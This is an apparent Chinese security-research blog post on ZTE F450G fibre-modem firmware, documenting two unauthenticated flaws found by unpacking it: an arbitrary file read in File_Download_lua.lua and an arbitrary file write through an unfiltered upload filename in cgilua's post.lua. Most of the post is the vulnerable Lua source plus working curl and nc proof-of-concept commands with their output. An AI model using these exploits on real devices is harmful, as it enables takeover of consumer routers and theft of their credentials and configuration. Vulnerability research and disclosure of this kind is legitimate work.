$ cat /posts/how-to-rce-zte-f450g-v2.0.0p1t1sh.txt |=------=[ 漏洞挖掘:电信光猫ZTE-F450G-V2.0.0P1T1sh / tr3e ]=------=| --[ 1 - 前言 上个月搬了个家,新住处的电信光猫用的是ZTE e8C F450G V2.0.0P1T1sh,为了能够充分利用公网IP,因此尝 试着”破解“这个设备。 原以为网上会有丰富的免拆机方法可供选择,但事实上在尝试了相同硬件型号、软件版本的各类“破解教程“之 后,都没有成功。 在剩下的可行选项里,仅剩*reset大法*和*TTL大法*这类需要与物理设备接触的方式,这里给出这类方式的链 接: - http://www.chinadsl.net/forum.php?mod=viewthread&tid=126463&highlight=F450G&_dsign=022af6c9 而作为一名安全研究员自然希望能够在“不脏手”的条件下进行远程破解,于是我开始尝试分析这个固件,从而 有了下文。 *注:固件下载自http://www.chinadsl.net/thread-165553-1-1.html,感谢“东华网络”的发帖* --[ 2 - 文件系统 在binwalk解包之后,直奔主题“文件系统”。 从`/linuxrc -> /bin/busybox`入手,不难发现设备初始化后会在`/home/httpd`目录下通过`/bin/httpd`对外 暴露web服务。 以下是`/home/httpd`的文件目录结构 * tree * ------------------------------------------------------------------------------------------------ . ├── ... ├── common_gch.gch ├── common_page │ ├── aset_accountSetting_js.lp │ ├── aset_accountSetting.lp │ ├── aset_formatDev.lp │ ├── aset_gatewaySleepSetting_js.lp │ ├── aset_gatewaySleepSetting.lp │ ├── aset_lanSetting_js.lp │ ├── aset_lanSetting.lp │ ├── aset_ledcontrlSetting_js.lp │ ├── aset_ledcontrlSetting.lp │ ├── aset_pppoeSetting_js.lp │ ├── aset_pppoeSetting.lp │ ├── aset_recovery.lp │ ├── aset_resetRecovery_js.lp │ ├── aset_restart.lp │ ├── aset_wifiSetting_js.lp │ ├── aset_wifiSetting.lp │ ├── aset_wifiTimerSetting_js.lp │ ├── aset_wifiTimerSetting.lp │ ├── commonpageFrame.lp │ ├── commonpageFrame.lua │ ├── devstatus.lua │ ├── dhcpdevstatus.lua │ ├── File_Download_lua.lua │ ├── gatewayInfo.lua │ ├── gatewayManage.lua │ ├── gatewaysleepinfoManage.lua │ ├── getLocalIp.lua │ ├── index_js.lp │ ├── iptvvoipstatus.lua │ ├── laninfoManage.lua │ ├── ledinfoManage.lua │ ├── main.lp │ ├── memCpuRateInfo.lua │ ├── nas_disk_list_lua.lua │ ├── nas_js.lp │ ├── nas_t.lp │ ├── nas_upload_file.lp │ ├── nas_view_directory_lua.lua │ ├── pluginConfigManage.lua │ ├── pppoeAccount.lua │ ├── pppoeSetting.lua │ ├── skydriverright.lua │ ├── storageManage.lua │ ├── subcommonpageFrame.lp │ ├── sys_devinfo.lp │ ├── sys_dhcpDevInfo_js.lp │ ├── sys_dhcpDevInfo.lp │ ├── sys_gatewayInfo_js.lp │ ├── sys_gatewayInfo.lp │ ├── sys_hangingDevInfo_js.lp │ ├── sys_hangingDevInfo.lp │ ├── sys_pluginInfo_js.lp │ ├── sys_pluginInfo.lp │ ├── sys_pluginstatus.lua │ ├── sys_wlanInfo_js.lp │ ├── sys_wlanInfo.lp │ ├── userinfoManage.lua │ ├── wan_func.lua │ ├── wifiinfoManage.lua │ ├── wifitimerinfoManage.lua │ ├── wlaninfo.lua │ └── wlanstatus.lua ├── public │ ├── index.gch │ └── ... ├── register.gch ├── registerLang.gch ├── return2factory.gch ├── sapi.lua └── ... 33 directories, 567 files ------------------------------------------------------------------------------------------------ --[ 3 - 任意文件读取 在大致浏览文件结构的时候,有一个文件命名格外扎眼`/home/httpd/common_page/File_Download_lua.lua`, * Lua * ------------------------------------------------------------------------------------------------ local lfs = require "lfs" local FP_FILEPATH = cgilua.QUERY.IF_FILEPATH FP_FILEPATH = string.gsub(FP_FILEPATH, "ZtEpLuSzTe", "+") FP_FILEPATH = string.gsub(FP_FILEPATH, "ZtEeQuAlzTe", "=") FP_FILEPATH = string.gsub(FP_FILEPATH, "ZtEaNdSzTe", "&") if FP_FILEPATH == nil or FP_FILEPATH == "" then return end ... local block = 512 * 1024 while true do local bytes = f:read(block) if not bytes then sapi.Response.writebinary("") local ret = sapi.Response.flush() break end sapi.Response.writebinary(bytes) local ret = sapi.Response.flush() if -1 == ret then break end end f:close() local downtype = cgilua.QUERY.downtype if "1" == downtype then local tmpfileName = FP_FILEPATH local setable = {} setable["pcFileName"] = tmpfileName local tError = cmapi.setinst("OBJ_SgwExStrDelFile_ID", "IGD", setable) end ------------------------------------------------------------------------------------------------ 这段代码在未认证下允许通过query参数`IF_FILEPATH`下载指定路径的文件,也就是无条件的任意文件读取。 ----[ 3.1 - PoC * Shell * ------------------------------------------------------------------------------------------------ $ curl '192.168.1.1/common_page/File_Download_lua.lua?IF_FILEPATH=/home/httpd/config/config.lua' --ignore-content-length LANG = "utf-8" LOG_LEVEL = "DEBUG" HTTP/1.1 200 OK Server: Mini web server 1.0 ZTE corp 2005. Accept-Ranges: bytes Connection: close Content-Type: application/octet-stream Cache-Control: no-cache,no-store Content-Length: 0 Content-Disposition: attachment; filename="file" content-Transfer-Encoding: binary Content-Length: 35 ------------------------------------------------------------------------------------------------ 由于光猫设备实现上的问题,用`nc`发送HTTP/0.9请求来读取文件会更好看一些 * Shell * ------------------------------------------------------------------------------------------------ $ nc 192.168.1.1 80 GET /common_page/File_Download_lua.lua?IF_FILEPATH=/home/httpd/config/config.lua window.parent.parent.location.href = "/"; LANG = "utf-8" LOG_LEVEL = "DEBUG" ------------------------------------------------------------------------------------------------ 事实上,这个漏洞在网上已经公开了很多次,搜索关键词也能找到类似的PoC,如: - 中兴F452光猫获取超管的方法:https://www.94la.net/134/ - 电信光猫超级密码破解,适用于绝大多数光猫:http://isakray.com/post-113.html --[ 4 - 任意文件写入 由于发现任意文件读取的过程过于顺利,很容易让人联想到是否存在任意文件写入?是的,它存在。 `/home/httpd/sapi.lua`是所有请求处理的入口,其中调用了`cgilua.main()`用于处理请求,而`/home/http d/cgilua.lua`代码如下: * Lua * ------------------------------------------------------------------------------------------------ ... local function getparams() QUERY = {} urlcode.parsequery(servervariable "QUERY_STRING", QUERY) requestmethod = servervariable "REQUEST_METHOD" POST = {} POST_DESC = { isExceedMaxInput = false, maxFileSize = _maxfilesize } if requestmethod == "POST" then post.parsedata { read = sapi.Request.getpostdata, readupload = sapi.Request.getpostdataupload, discardinput = ap and ap.discard_request_body, content_type = servervariable "CONTENT_TYPE", content_length = servervariable "CONTENT_LENGTH", content_length_lua = servervariable "CONTENT_LENGTH_LUA", maxinput = _maxinput, maxfilesize = _maxfilesize, args = POST, POST_DESC = POST_DESC } end QUERY = {} urlcode.parsequery(servervariable "QUERY_STRING", QUERY) end function main() sapi = _G.sapi addscripthandler("lua", doscript) addscripthandler("lp", handlelp) pcall( function() _G.require "cgilua.loader" end ) pcall( function() _G.require "cgilua.post" end ) if loader then loader.init() end _G.require("logging.console") _G.g_logger = _G.logging.console() if not pcall(getparams) then return nil end local result ... result, err = pcall( function() return handle(script_file) end ) ... end ------------------------------------------------------------------------------------------------ 在函数`cgilua.main()`中调用了`cgilua.getparams()`,而该函数在POST请求下会调用`cgilua.post.parsed ata()`来解析请求体内容。 那么`cgilua.post.parsedata()`是如何实现解析的呢?文件`/home/httpd/cgilua/post.lua`内容如下: * Lua * ------------------------------------------------------------------------------------------------ require "cgilua.readuntil" require "cgilua.urlcode" local assert, error, pairs, tonumber, tostring, type = assert, error, pairs, tonumber, tostring, type local getn, tinsert = table.getn, table.insert local format, gsub, strfind, strlower, strlen = string.format, string.gsub, string.find, string. lower, string.len local min = math.min local iterate = cgilua.readuntil.iterate local urlcode = cgilua.urlcode local tmpfile = cgilua.tmpfile local boundary = nil local maxfilesize = nil local maxinput = nil local inputfile = nil local bytesleft = nil local content_type = nil local discardinput = nil local readuntil = nil local read = nil local _open = io.open local _G, sapi = _G, sapi local cgilua = cgilua local openlua = fileapi.openlua local closelua = fileapi.closelua local writelua = fileapi.writelua local seeklua = fileapi.seeklua module("cgilua.post") local function getboundary() local _, _, boundary = strfind(content_type, "boundary%=(.-)$") return "--" .. boundary end local function breakheaders(hdrdata) local headers = {} gsub( hdrdata, "([^%c%s:]+):%s+([^\n]+)", function(type, val) type = strlower(type) headers[type] = val end ) return headers end local function readfieldheaders() local EOH = "\r\n\r\n" local hdrdata = "" local out = function(str) hdrdata = hdrdata .. str end if readuntil(EOH, out) then return breakheaders(hdrdata) else return nil end end local function getfieldnames(headers) local disposition_hdr = headers["content-disposition"] local attrs = {} if disposition_hdr then gsub( disposition_hdr, ';%s*([^%s=]+)="(.-)"', function(attr, val) attrs[attr] = val end ) else error("Error processing multipart/form-data." .. "\nMissing content-disposition header") end return attrs.name, attrs.filename end local function readfieldcontents() local value = "" local boundaryline = "\r\n" .. boundary local out = function(str) value = value .. str end if readuntil(boundaryline, out) then return value else error("Error processing multipart/form-data.\nUnexpected end of input\n") end end local function fileupload(filename) local uploadDir = cgilua.QUERY["pathOfDir"] local pmark = cgilua.QUERY["pmark"] local emark = cgilua.QUERY["emark"] local amark = cgilua.QUERY["amark"] if pmark ~= nil and pmark == 1 then uploadDir = _G.string.gsub(uploadDir, "ZtEpLuSzTe", "+") end if emark ~= nil and emark == 1 then uploadDir = _G.string.gsub(uploadDir, "ZtEeQuAlzTe", "=") end if amark ~= nil and amark == 1 then uploadDir = _G.string.gsub(uploadDir, "ZtEaNdSzTe", "&") end _G.print("post uploadDir" .. uploadDir .. "||filename=" .. filename) filename = uploadDir .. "/" .. filename local file, err = _open(filename, "wb+") if file == nil then discardinput(inputsize) end inputfile = file local bytesread = 0 local isExceedMaxSize = false local boundaryline = "\r\n" .. boundary local out = function(str) local sl = strlen(str) if bytesread + sl > maxfilesize then discardinput(bytesleft) isExceedMaxSize = true return end file:write(str) bytesread = bytesread + sl end if readuntil(boundaryline, out) then file:seek("set", 0) file:close() return file, bytesread, isExceedMaxSize else error(format("Error processing multipart/form-data.\nUnexpected end of input while uploa ding %s", filename)) end end local function filevalue(filehandle, filename, filesize, isExceedMaxSize, headers) local value = { file = filehandle, filename = filename, filesize = filesize, isExceedMaxSize = isExceedMaxSize } for hdr, hdrval in pairs(headers) do if hdr ~= "content-disposition" then value[hdr] = hdrval end end return value end local function Main(inputsize, args, POST_DESC) bytesleft = inputsize maxfilesize = maxfilesize or inputsize boundary = getboundary() while true do local headers = readfieldheaders() if not headers then break end local name, filename = getfieldnames(headers) local value if filename then if (strfind(filename, "\\")) then -- get the filename for IE of windows, do not affect the other Browers filename = filename:match(".+\\([^\\]*%.%w+)$") end local filehandle, filesize, isExceedMaxSize = fileupload(filename) value = filevalue(filehandle, filename, filesize, isExceedMaxSize, headers) else value = readfieldcontents() end -- insert the form field into table [[args]] urlcode.insertfield(args, name, value) end end -- -- Initialize the library by setting the dependent functions: -- content_type = value of "Content-type" header -- content_length = value of "Content-length" header -- read = function that can read POST data -- discardinput (optional) = function that discard POST data -- maxinput (optional) = limit of POST data (in bytes) -- maxfilesize (optional) = limit of uploaded file(s) (in bytes) -- local function init(defs) assert(defs.read) read = defs.read assert(defs.readupload) readupload = defs.readupload readuntil = iterate( function() if bytesleft then if bytesleft <= 0 then return nil end local n = min(bytesleft, 2 ^ 20) -- 2^20 == 1048576 == 1M local bytes = nil if strfind(defs.content_type, "multipart/form-data", 1, true) then bytes = readupload(n) else bytes = read(n) end bytesleft = bytesleft - #bytes return bytes end end ) if defs.discard_function then discardinput = defs.discardinput else discardinput = function(inputsize) readuntil( "\0", function() end ) end end content_type = defs.content_type if defs.maxinput then maxinput = defs.maxinput end if defs.maxfilesize then maxfilesize = defs.maxfilesize end end ---------------------------------------------------------------------------- -- Parse the POST REQUEST incoming data according to its "content type" -- as defined by the metavariable CONTENT_TYPE (RFC CGI) -- -- An error is issued if the "total" size of the incoming data -- (defined by the metavariable CONTENT_LENGTH) exceeds the -- maximum input size allowed ---------------------------------------------------------------------------- function parsedata(defs) assert(type(defs.args) == "table", "field `args' must be a table") init(defs) -- get the "total" size of the incoming data local inputsize = tonumber(defs.content_length_lua) or 0 if inputsize > maxinput then -- content length exceed limit _G.g_logger:warn("inputsize(" .. inputsize .. ") > maxinput(" .. maxinput .. ")") -- some Web Servers (like IIS) require that all the incoming data is read bytesleft = inputsize --discardinput(inputsize) -- comment error statement to prevent Internal Error -- error(format("Total size of incoming data (%d KB) exceeds configured maximum (%d KB)" , --inputsize /1024, maxinput / 1024)) -- telling user uploading file exceed limit defs.POST_DESC["isExceedMaxInput"] = true -- entity content discarded inputsize = 0 return end -- process the incoming data according to its content type local contenttype = content_type if not contenttype then error("Undefined Media Type") end if strfind(contenttype, "x-www-form-urlencoded", 1, true) then urlcode.parsequery(read(inputsize), defs.args) elseif strfind(contenttype, "multipart/form-data", 1, true) then --Version & Config uploading implemented by upload.c, --where all http body has already been read , ie inputsize == 0, --thus skip reread it. if inputsize > 0 then Main(inputsize, defs.args, defs.POST_DESC) end elseif strfind(contenttype, "application/xml", 1, true) or strfind(contenttype, "text/xml", 1, true) or strfind(contenttype, "text/plain", 1, true) then tinsert(defs.args, read(inputsize)) else error("Unsupported Media Type: " .. contenttype) end end ------------------------------------------------------------------------------------------------ 当请求Content-Type是multipart/form-data时,函数调用链如下`cgilua.post.parsedata() -> cgilua.post .Main() -> cgilua.post.fileupload()`。 而在`cgilua.post.fileupload()`中,没有对上传的文件名做过滤,在未认证下允许通过表单字段`filename` 来写入指定路径的文件,也就是无条件的任意文件写入。 ----[ 4.1 - PoC * Shell * ------------------------------------------------------------------------------------------------ $ curl -F "file=@tmp.txt;filename=/tmp/test.txt" '192.168.1.1/common_page/nas_upload_file.lp?pat hOfDir=%2f'